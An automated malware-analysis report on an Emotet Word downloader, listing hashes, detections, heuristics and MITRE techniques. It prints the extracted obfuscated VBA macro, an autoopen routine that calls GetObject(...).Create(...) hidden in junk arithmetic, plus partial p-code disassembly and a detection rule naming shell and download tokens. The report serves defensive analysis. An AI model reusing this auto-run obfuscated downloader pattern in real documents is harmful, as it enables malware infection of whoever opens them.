Emotet — Office (OLE) malware analysis

Static analysis result for SHA-256 41b5b271b5b79c4f…

MALICIOUS

Office (OLE)

186.1 KB Created: 2019-03-28 07:34:00 Authoring application: Microsoft Office Word First seen: 2019-05-31
MD5: 6d08324f13bccc6fc00eb54b129909c8 SHA-1: 1609b5362f79b8cd788c1c5038c6660a2b8ad1c4 SHA-256: 41b5b271b5b79c4fcd41461e19f50f907e0ba0fdbcd907b7571e514fad761162
270 Risk Score

Malware Insights

Emotet · confidence 95%

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The file exhibits high-severity heuristics for legacy WordBasic and VBA macros, including an AutoOpen function and GetObject calls, strongly indicating malicious intent. ClamAV detection confirms this, identifying it as Doc.Downloader.Emotet-6915305-0. The VBA script is heavily obfuscated, but the presence of macro execution and downloader indicators suggests it is designed to fetch and execute a secondary payload, consistent with Emotet's typical behavior.

Heuristics 8

  • ClamAV: Doc.Downloader.Emotet-6915305-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.Emotet-6915305-0
  • Malformed OLE auto-open stager with embedded ZIP payload critical OLE_RAW_MALFORMED_AUTOOPEN_STAGER
    Raw malformed OLE bytes contain an auto-open macro entry, embedded ZIP/theme package bytes, VBA project metadata, and URL/CMD/Shell staging tokens. This is a high-confidence exploit-builder shape where the OLE directory is intentionally malformed, preventing normal VBA extraction while leaving the auto-run stager visible in raw streams.
  • Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUS
    OLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • GetObject call high OLE_VBA_GETOBJ
    GetObject call
    Matched line in script
    Set FABQ4A = GetObject(ZU1xZD.ZZUUAx + kAAAAA_U.i_k1B_ + ZU1xZD.ZZUUAx.Tag)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub autoopen()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 25632 bytes
SHA-256: 53197ed84645c7556455c836d312cd3f4a2f13621bcd1170dcfea52a6c970b85
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "jooZAAQ"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "ZU1xZD"
Attribute VB_Base = "0{83BF4707-3F24-4183-857C-7B12177EED94}{1909587A-C4B5-43A2-88BC-325096C60567}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "kAAAAA_U"
Attribute VB_Base = "0{E0A2B2AB-D852-4A19-9A5D-F661CC51EDA8}{2F4E8E74-7827-4642-BA64-B5D76A42AA96}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = False
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False

Attribute VB_Name = "i_BAXA"
Function uw4AcDX()
   If DUkkwQ = XDGDAox Then
         kAQ4wXBU = (235556788 - zABDAQAA * FBADZ4 * CDate(938795689))
         v1cA_BwU = cUcAA_ / Oct(dDQDBA) - PwAABAA * CDbl(397489556) / AAUwADc * Fix(233936086 * Log(FCAooDDc)) / lDZoQxAD * Chr(621319222) * 922619092 * Sgn(wU_UBAA / Log(476854112))
End If
   If fAZUUBAA = iwXAXA Then
         CoQ4c_ = (709593237 - dAA_AAA4 * iGUXGA * CDate(400110449))
         ToAc_GU = AAxG_ADZ / Oct(aQABQ1Q) - jDABXAo * CDbl(892960113) / zAADx4Zx * Fix(915305922 * Log(rXXBQQk)) / jCxQGBAA * Chr(846108883) * 527521756 * Sgn(WAXQAU / Log(241148660))
End If
   If TCUBCUGw = T_AUkZ Then
         jXDcAkA = (877222339 - TAcZAw * ocDQAA_ * CDate(182867707))
         mAXkBA4 = TA1UDo_ / Oct(QoBBQUAw) - XCQBAx * CDbl(145539558) / MAUADU * Fix(254373412 * Log(dxG1BGB)) / HA_U4QQ * Chr(97729511) * 582456236 * Sgn(hUCCA4 / Log(714752817))
End If
   If mD_AGA = nAAADAG_ Then
         BAZUAA = (121556851 - JGBxA_ * qZoAUAx * CDate(297369654))
         Kk4kQx = u4Akw1XA / Oct(JUBAQU) - oBAD_kAc * CDbl(920085024) / DABUABc * Fix(222807042 * Log(iw_BQk)) / w4oAAw_U * Chr(792208741) * 108921259 * Sgn(MDBAAA / Log(604241754))
End If
   If ZQAcwAD1 = pAUkGc Then
         XZ_QADA = (331181219 - JAUXDD * ZAAAXDQ * CDate(686442739))
         SXGACAB = lUQAoC / Oct(LA4UAw) - NAXADck * CDbl(903749758) / HUA1AAcA * Fix(191064247 * Log(tAAXcBAB)) / w4QU1A * Chr(65807350) * 831082313 * Sgn(hcAQAXA / Log(771417014))
End If
   If JAZQxQAD = vcQcw_ Then
         c4CD41DA = (216452676 - ZBAXQA * OAABA4AA * CDate(498601541))
         vwoXcoCk = X1AXAU / Oct(pQBAAQ) - mk_B_B_ * CDbl(448687516) / jUA1AAAA * Fix(832843724 * Log(hGw1AUQA)) / EX_kAAU * Chr(722333304) * 872992297 * Sgn(ZXQAAZCA / Log(838024670))
End If
   If aABAAZA = fADDkAw Then
         OxAcAA4c = (843573593 - lAAAA1AU * qAUDBZAw * CDate(935670127))
         VDAUUQA = OGA_oo / Oct(WAcBCx) - bAAGAQAA * CDbl(525877038) / OGCQAxA * Fix(641409815 * Log(wZcxxQkA)) / CBZXAoU * Chr(31558628) * 512079559 * Sgn(wBwwAZx / Log(861579552))
End If
   If jBwAooUG = IAZUXA Then
         S4AxAX = (139405056 - dA_wcUAA * YAAB1_A * CDate(558321715))
         pQkDwAGZ = CXBcAQ_ / Oct(bXoXZx) - okQAAAA * CDbl(92688819) / TcGAAw_Q * Fix(287661511 * Log(jQxAUXAA)) / DkooDDw * Chr(413344851) * 736504179 * Sgn(GcAcZQDG / Log(712957930))
End If
End Function
Sub autoopen()
On Error Resume Next
   If zQ1AGDUA = bAAAxAA Then
         ZXAwUAo4 = (726693920 - IAUAD4B * aCUDBA * CDate(510912578))
         TBAxX_ = dABAAGB / Oct(nAD1Aw) - MQZBDDB * CDbl(693134375) / GZABA1x * Fix(27778498 * Log(aA1koAB)) / BCAwDC * Chr(924844580) * 249414303 * Sgn(rxk_AA / Log(686878550))
End If
   If kDBXZUX = YXkAwZBA Then
         JAXDUQB = (888232537 - CQABQA * s4QAUXGA * CDate(202978636))
         iDAwAD = AAAABDw / Oct(v1Q4BBoB) - McUkB44A * CDbl(947073108) / bZAkGBA * Fix(677800470 * Log(IBcDA_)) / NxAAAZQ4 * Chr(36548213) * 853267047 * Sgn(h1ZkDQ / Log(715878846))
End If
Set FABQ4A = GetObject(ZU1xZD.ZZUUAx + kAAAAA_U.i_k1B_ + ZU1xZD.ZZUUAx.Tag)
   If LoQBXX = pZUUCAB Then
         RAZAQDX = (155154960 - k4UUDA * jXBZwA * CDate(582639734))
         o4kAQDwU = JGZDUUA / Oct(UkAUDAoC) - iQAAGUQD * CDbl(138812905) / JxBAUAA * Fix(835825893 * Log(RD4DBAwQ)) / HUBBAoAB * Chr(971573116) * 148237697 * Sgn(l_XkX_cD / Log(732564241))
End If
   If lABDAkB = sAAAZADx Then
         uAwAD_A = (358407409 - PAQwcA * ikXAo4B * CDate(732172601))
         kokABUAA = ZAAQxQ_ / Oct(FCGGA__) - sAADUAG * CDbl(700023506) / wDAA1ckC * Fix(303238245 * Log(TAAXcA)) / SoDAGC * Chr(865747713) * 857588434 * Sgn(nD1AZX / Log(455886027))
End If
If 523804 = 523804 Then
   If lACD4c = PAAwCQ Then
         EADC4ZQ = (641076703 - N4wC1AZZ * sBAAAG * CDate(42965594))
         f4GAxA = ZZwoAQG / Oct(zDooA_U) - bXAGAAx * CDbl(497784512) / iBXZxwc * Fix(8675995 * Log(bx_kUU)) / MoA1A_AD * Chr(256303655) * 833614191 * Sgn(sA4AkxAB / Log(837368230))
End If
   If dGQ44ZAB = hwxxkGA Then
         mAAxAxok = (554649431 - BA_GCAA4 * CB1QAAUA * CDate(380301068))
         QCAAwG = kDo44UB / Oct(DAAUBwU) - ZQU_AX * CDbl(481872632) / tAQUUAxD * Fix(412807499 * Log(jkABAAAU)) / lkUAXDow * Chr(31012898) * 705216104 * Sgn(kCDBAGwU / Log(456849993))
End If
   If EBA1AA = v_Qc1A4B Then
         DAAocA = (767737706 - KoBAUAk * wBDkQoAU * CDate(315395562))
         E1B1oAwA = AQ1AAAD / Oct(lABQoA) - uAw1ABwZ * CDbl(910204900) / sAxckA * Fix(948809026 * Log(qCDAcXwQ)) / wBBUAAc * Chr(271943041) * 186893090 * Sgn(pAADoD / Log(688905770))
End If
FABQ4A.ShOwWiNdOw = wUwkCAC + ZU1xZD.CXUADo + jUAUxUc
   If QXG4BwGD = TB_ACQo Then
         ExBAwo = (191299185 - JB_oAA4 * mAQ4XB * CDate(928063797))
         qAkCAo = m_AAADA / Oct(iAZZQBAA) - V_AcA1BD * CDbl(572445061) / aB_AXk * Fix(114278631 * Log(SAZ1Ax)) / PQXUAxxC * Chr(938133583) * 482362330 * Sgn(IxQGGD / Log(333692135))
End If
   If PAAxwAA = ZAXGQXx Then
         aDXQBwUc = (993285739 - FAZQAUAU * EX4AUCxo * CDate(556305004))
         wkDAXQZA = N1GAUA / Oct(qUACAAA) - X1GDAo * CDbl(123960782) / IABCA_XU * Fix(823345373 * Log(uUADAAAA)) / wDABAA * Chr(628111567) * 148886269 * Sgn(cAxAUQo / Log(59832894))
End If
End If
   If uDAAU1A = qA14QAkc Then
         MBXkDA = (649496245 - bC1XCQ * CQUQkUX4 * CDate(914075775))
         pBABACo = wDAABoCc / Oct(QAQkAXA) - JcZAAx * CDbl(964364163) / FZADB1 * Fix(807757004 * Log(zXwAwD1)) / BUXAAUQ * Chr(819886468) * 734258736 * Sgn(bU4BGoA / Log(349793506))
End If
   If hkQ1A1A = uQAAAD Then
         JBAUcAoA = (437665222 - lDAUAAQ * GG_DQAQ * CDate(236125158))
         lBZAc4UX = vxwAQB / Oct(pA4DAAU) - kAXAAAB * CDbl(767937501) / lAkX4B * Fix(556506460 * Log(XA4XcD)) / NA4BA_wc * Chr(569698563) * 495695454 * Sgn(UAAwAk / Log(8799082))
End If
   If IAAwAA4A = RDAADZQ Then
         vDU1xZ = (694109523 - dxCDAQ * UX1AQCU * CDate(581311612))
         IwAAZD = p_4oA_ / Oct(oDQAAw1) - TAXDkc * CDbl(725528697) / boAAQ4 * Fix(88910566 * Log(PAZAAZDA)) / D_CCDG * Chr(121390992) * 188315645 * Sgn(i_oXQCAA / Log(22355694))
End If
Call GetObject(ZU1xZD.ZZUUAx.Text + kAAAAA_U.jUQAAX4 + ZU1xZD.ZZUUAx.Text).Create((ZU1xZD.ZZUUAx + kAAAAA_U.EQAAACk + ZU1xZD.ZZUUAx + kAAAAA_U.zAAAAc + ZU1xZD.ZZUUAx.Tag + ZU1xZD.ZZUUAx.PasswordChar + kAAAAA_U.bXAxGAQ + ZU1xZD.ZZUUAx + ZU1xZD.ZZUUAx.Text + kAAAAA_U.jxcAxCA + ZU1xZD.ZZUUAx.Tag + kAAAAA_U.cDBUUAA + ZU1xZD.ZZUUAx.Text), QABAAoA, FABQ4A, ZU1xZD.ZZUUAx)
   If ZADBXU = mAkAxoB_ Then
         dADc1CcQ = (229054349 - aAAA_QAC * NUGAxAD * CDate(274932661))
         vkx1AC = I4AXAB / Oct(XUQDAQAA) - jD1oAA * CDbl(236387382) / VkDkQ1 * Fix(785517755 * Log(lDAAUA)) / mAAUXUcA * Chr(259863822) * 419620104 * Sgn(zUCUAA / Log(627150317))
End If
   If UAADUwC = uAABABGx Then
         KAAAAABU = (416797625 - MGAB4D * MAAQAoZk * CDate(379461552))
         SD_QAQDc = rBQoGG / Oct(AU_UkAC) - V1BwXA * CDbl(537033659) / oAUAQDAA * Fix(400907601 * Log(vwwQ4D)) / iAU4AUG * Chr(714543941) * 974887984 * Sgn(EcZoo4D / Log(976322093))
End If
End Sub


' Processing file: /tmp/qstore_4c6dcu7m
' ===============================================================================
' Module streams:
' Macros/VBA/jooZAAQ - 1105 bytes
' Macros/VBA/ZU1xZD - 1157 bytes
' Macros/VBA/kAAAAA_U - 1157 bytes
' Macros/VBA/i_BAXA - 11292 bytes
' Line #0:
' 	FuncDefn (Function i_BAXA())
' Line #1:
' 	Ld uw4AcDX 
' 	Ld DUkkwQ 
' 	Eq 
' 	IfBlock 
' Line #2:
' 	LitDI4 0x4FB4 0x0E0A 
' 	Ld kAQ4wXBU 
' 	Ld zABDAQAA 
' 	Mul 
' 	LitDI4 0xE2A9 0x37F4 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St XDGDAox 
' Line #3:
' 	Ld v1cA_BwU 
' 	Ld cUcAA_ 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld dDQDBA 
' 	LitDI4 0x3594 0x17B1 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld PwAABAA 
' 	Div 
' 	LitDI4 0x94D6 0x0DF1 
' 	Ld AAUwADc 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld FCAooDDc 
' 	Div 
' 	LitDI4 0x9436 0x2508 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0x0CD4 0x36FE 
' 	Mul 
' 	Ld lDZoQxAD 
' 	LitDI4 0x3760 0x1C6C 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St FBADZ4 
' Line #4:
' 	EndIfBlock 
' Line #5:
' 	Ld wU_UBAA 
' 	Ld fAZUUBAA 
' 	Eq 
' 	IfBlock 
' Line #6:
' 	LitDI4 0x8895 0x2A4B 
' 	Ld CoQ4c_ 
' 	Ld dAA_AAA4 
' 	Mul 
' 	LitDI4 0x3371 0x17D9 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St iwXAXA 
' Line #7:
' 	Ld ToAc_GU 
' 	Ld AAxG_ADZ 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld aQABQ1Q 
' 	LitDI4 0x7D71 0x3539 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld jDABXAo 
' 	Div 
' 	LitDI4 0x75C2 0x368E 
' 	Ld zAADx4Zx 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld rXXBQQk 
' 	Div 
' 	LitDI4 0x98D3 0x326E 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0x57DC 0x1F71 
' 	Mul 
' 	Ld jCxQGBAA 
' 	LitDI4 0xA2F4 0x0E5F 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St iGUXGA 
' Line #8:
' 	EndIfBlock 
' Line #9:
' 	Ld WAXQAU 
' 	Ld TCUBCUGw 
' 	Eq 
' 	IfBlock 
' Line #10:
' 	LitDI4 0x59C3 0x3449 
' 	Ld jXDcAkA 
' 	Ld TAcZAw 
' 	Mul 
' 	LitDI4 0x56FB 0x0AE6 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St T_AUkZ 
' Line #11:
' 	Ld mAXkBA4 
' 	Ld TA1UDo_ 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld QoBBQUAw 
' 	LitDI4 0xC1E6 0x08AC 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld XCQBAx 
' 	Div 
' 	LitDI4 0x6E24 0x0F29 
' 	Ld MAUADU 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld dxG1BGB 
' 	Div 
' 	LitDI4 0x3BE7 0x05D3 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0x93AC 0x22B7 
' 	Mul 
' 	Ld HA_U4QQ 
' 	LitDI4 0x4331 0x2A9A 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St ocDQAA_ 
' Line #12:
' 	EndIfBlock 
' Line #13:
' 	Ld hUCCA4 
' 	Ld mD_AGA 
' 	Eq 
' 	IfBlock 
' Line #14:
' 	LitDI4 0xCF73 0x073E 
' 	Ld BAZUAA 
' 	Ld JGBxA_ 
' 	Mul 
' 	LitDI4 0x8036 0x11B9 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St nAAADAG_ 
' Line #15:
' 	Ld Kk4kQx 
' 	Ld u4Akw1XA 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld JUBAQU 
' 	LitDI4 0x6220 0x36D7 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld oBAD_kAc 
' 	Div 
' 	LitDI4 0xC402 0x0D47 
' 	Ld DABUABc 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld iw_BQk 
' 	Div 
' 	LitDI4 0x2565 0x2F38 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0x01AB 0x067E 
' 	Mul 
' 	Ld w4oAAw_U 
' 	LitDI4 0xFF5A 0x2403 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St qZoAUAx 
' Line #16:
' 	EndIfBlock 
' Line #17:
' 	Ld MDBAAA 
' 	Ld ZQAcwAD1 
' 	Eq 
' 	IfBlock 
' Line #18:
' 	LitDI4 0x6CA3 0x13BD 
' 	Ld XZ_QADA 
' 	Ld JAUXDD 
' 	Mul 
' 	LitDI4 0x48F3 0x28EA 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St pAUkGc 
' Line #19:
' 	Ld SXGACAB 
' 	Ld lUQAoC 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld LA4UAw 
' 	LitDI4 0x207E 0x35DE 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld NAXADck 
' 	Div 
' 	LitDI4 0x68B7 0x0B63 
' 	Ld HUA1AAcA 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld tAAXcBAB 
' 	Div 
' 	LitDI4 0x23F6 0x03EC 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0x4F49 0x3189 
' 	Mul 
' 	Ld w4QU1A 
' 	LitDI4 0xE3B6 0x2DFA 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St ZAAAXDQ 
' Line #20:
' 	EndIfBlock 
' Line #21:
' 	Ld hcAQAXA 
' 	Ld JAZQxQAD 
' 	Eq 
' 	IfBlock 
' Line #22:
' 	LitDI4 0xCE44 0x0CE6 
' 	Ld c4CD41DA 
' 	Ld ZBAXQA 
' 	Mul 
' 	LitDI4 0x0E45 0x1DB8 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St vcQcw_ 
' Line #23:
' 	Ld vwoXcoCk 
' 	Ld X1AXAU 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld pQBAAQ 
' 	LitDI4 0x6D9C 0x1ABE 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld mk_B_B_ 
' 	Div 
' 	LitDI4 0x2FCC 0x31A4 
' 	Ld jUA1AAAA 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld hGw1AUQA 
' 	Div 
' 	LitDI4 0xEE78 0x2B0D 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0xCE29 0x3408 
' 	Mul 
' 	Ld EX_kAAU 
' 	LitDI4 0x3DDE 0x31F3 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St OAABA4AA 
' Line #24:
' 	EndIfBlock 
' Line #25:
' 	Ld ZXQAAZCA 
' 	Ld aABAAZA 
' 	Eq 
' 	IfBlock 
' Line #26:
' 	LitDI4 0xE959 0x3247 
' 	Ld OxAcAA4c 
' 	Ld lAAAA1AU 
' 	Mul 
' 	LitDI4 0x316F 0x37C5 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St fADDkAw 
' Line #27:
' 	Ld VDAUUQA 
' 	Ld OGA_oo 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld WAcBCx 
' 	LitDI4 0x3F2E 0x1F58 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld bAAGAQAA 
' 	Div 
' 	LitDI4 0x2317 0x263B 
' 	Ld OGCQAxA 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld wZcxxQkA 
' 	Div 
' 	LitDI4 0x8BE4 0x01E1 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0xB6C7 0x1E85 
' 	Mul 
' 	Ld CBZXAoU 
' 	LitDI4 0xA920 0x335A 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St qAUDBZAw 
' Line #28:
' 	EndIfBlock 
' Line #29:
' 	Ld wBwwAZx 
' 	Ld jBwAooUG 
' 	Eq 
' 	IfBlock 
' Line #30:
' 	LitDI4 0x2700 0x084F 
' 	Ld S4AxAX 
' 	Ld dA_wcUAA 
' 	Mul 
' 	LitDI4 0x5033 0x2147 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St IAZUXA 
' Line #31:
' 	Ld pQkDwAGZ 
' 	Ld CXBcAQ_ 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld bXoXZx 
' 	LitDI4 0x51B3 0x0586 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld okQAAAA 
' 	Div 
' 	LitDI4 0x5DC7 0x1125 
' 	Ld TcGAAw_Q 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld jQxAUXAA 
' 	Div 
' 	LitDI4 0x2453 0x18A3 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0x2973 0x2BE6 
' 	Mul 
' 	Ld DkooDDw 
' 	LitDI4 0xDFEA 0x2A7E 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St YAAB1_A 
' Line #32:
' 	EndIfBlock 
' Line #33:
' 	EndFunc 
' Line #34:
' 	FuncDefn (Sub GcAcZQDG())
' Line #35:
' 	OnError (Resume Next) 
' Line #36:
' 	Ld autoopen 
' 	Ld zQ1AGDUA 
' 	Eq 
' 	IfBlock 
' Line #37:
' 	LitDI4 0x7820 0x2B50 
' 	Ld ZXAwUAo4 
' 	Ld IAUAD4B 
' 	Mul 
' 	LitDI4 0xE842 0x1E73 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St bAAAxAA 
' Line #38:
' 	Ld TBAxX_ 
' 	Ld dABAAGB 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld nAD1Aw 
' 	LitDI4 0x6427 0x2950 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld MQZBDDB 
' 	Div 
' 	LitDI4 0xDDC2 0x01A7 
' 	Ld GZABA1x 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld aA1koAB 
' 	Div 
' 	LitDI4 0x0224 0x3720 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0xC29F 0x0EDD 
' 	Mul 
' 	Ld BCAwDC 
' 	LitDI4 0xEF56 0x28F0 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St aCUDBA 
' Line #39:
' 	EndIfBlock 
' Line #40:
' 	Ld rxk_AA 
' 	Ld kDBXZUX 
' 	Eq 
' 	IfBlock 
' Line #41:
' 	LitDI4 0x5A59 0x34F1 
' 	Ld JAXDUQB 
' 	Ld CQABQA 
' 	Mul 
' 	LitDI4 0x354C 0x0C19 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St YXkAwZBA 
' Line #42:
' 	Ld iDAwAD 
' 	Ld AAAABDw 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld v1Q4BBoB 
' 	LitDI4 0x3054 0x3873 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld McUkB44A 
' 	Div 
' 	LitDI4 0x6A16 0x2866 
' 	Ld bZAkGBA 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld IBcDA_ 
' 	Div 
' 	LitDI4 0xAE75 0x022D 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0xD267 0x32DB 
' 	Mul 
' 	Ld NxAAAZQ4 
' 	LitDI4 0x71BE 0x2AAB 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St s4QAUXGA 
' Line #43:
' 	EndIfBlock 
' Line #44:
' 	SetStmt 
' 	Ld kAAAAA_U 
' 	MemLd GetObject 
' 	Ld MSForms 
' 	MemLd ZZUUAx 
' 	Add 
' 	Ld kAAAAA_U 
' 	MemLd GetObject 
' 	MemLd i_k1B_ 
' 	Add 
' 	ArgsLd FABQ4A 0x0001 
' 	Set h1ZkDQ 
' Line #45:
' 	Ld Tag 
' 	Ld LoQBXX 
' 	Eq 
' 	IfBlock 
' Line #46:
' 	LitDI4 0x7A10 0x093F 
' 	Ld RAZAQDX 
' 	Ld k4UUDA 
' 	Mul 
' 	LitDI4 0x6076 0x22BA 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St pZUUCAB 
' Line #47:
' 	Ld o4kAQDwU 
' 	Ld JGZDUUA 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld UkAUDAoC 
' 	LitDI4 0x1DE9 0x0846 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld iQAAGUQD 
' 	Div 
' 	LitDI4 0xB0E5 0x31D1 
' 	Ld JxBAUAA 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld RD4DBAwQ 
' 	Div 
' 	LitDI4 0x077C 0x39E9 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0xED81 0x08D5 
' 	Mul 
' 	Ld HUBBAoAB 
' 	LitDI4 0x0B11 0x2BAA 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St jXBZwA 
' Line #48:
' 	EndIfBlock 
' Line #49:
' 	Ld l_XkX_cD 
' 	Ld lABDAkB 
' 	Eq 
' 	IfBlock 
' Line #50:
' 	LitDI4 0xDCF1 0x155C 
' 	Ld uAwAD_A 
' 	Ld PAQwcA 
' 	Mul 
' 	LitDI4 0x1139 0x2BA4 
' 	Coerce (Date) 
' 	Mul 
' 	Sub 
' 	Paren 
' 	St sAAAZADx 
' Line #51:
' 	Ld kokABUAA 
' 	Ld ZAAQxQ_ 
' 	ArgsLd Oct 0x0001 
' 	Div 
' 	Ld FCGGA__ 
' 	LitDI4 0x82D2 0x29B9 
' 	Coerce (Dbl) 
' 	Mul 
' 	Ld sAADUAG 
' 	Div 
' 	LitDI4 0x0C65 0x1213 
' 	Ld wDAA1ckC 
' 	ArgsLd Log 0x0001 
' 	Mul 
' 	FnFix 
' 	Mul 
' 	Ld TAAXcA 
' 	Div 
' 	LitDI4 0x4301 0x339A 
' 	ArgsLd Chr 0x0001 
' 	Mul 
' 	LitDI4 0xC2D2 0x331D 
' 	Mul 
' 	Ld SoDAGC 
' 	LitDI4 0x44CB 0x1B2C 
' 	ArgsLd Log 0x0001 
' 	Div 
' 	FnSgn 
' 	Mul 
' 	Sub 
' 	St ikXAo4B 
' Line #52:
' 	EndIfBlock 
' Line #53:
' 	LitDI4 0xFE1C 0x0007 
' 	LitDI4 0xFE1C 0x0007 
' 	Eq 
' 	IfBlock 
' Line #54:
' 	Ld nD1AZX 
' 	Ld lACD4c 
' 	Eq 
' 	IfBlock 
' Line #55:
' 	LitDI4 0x0DDF 0x2636 
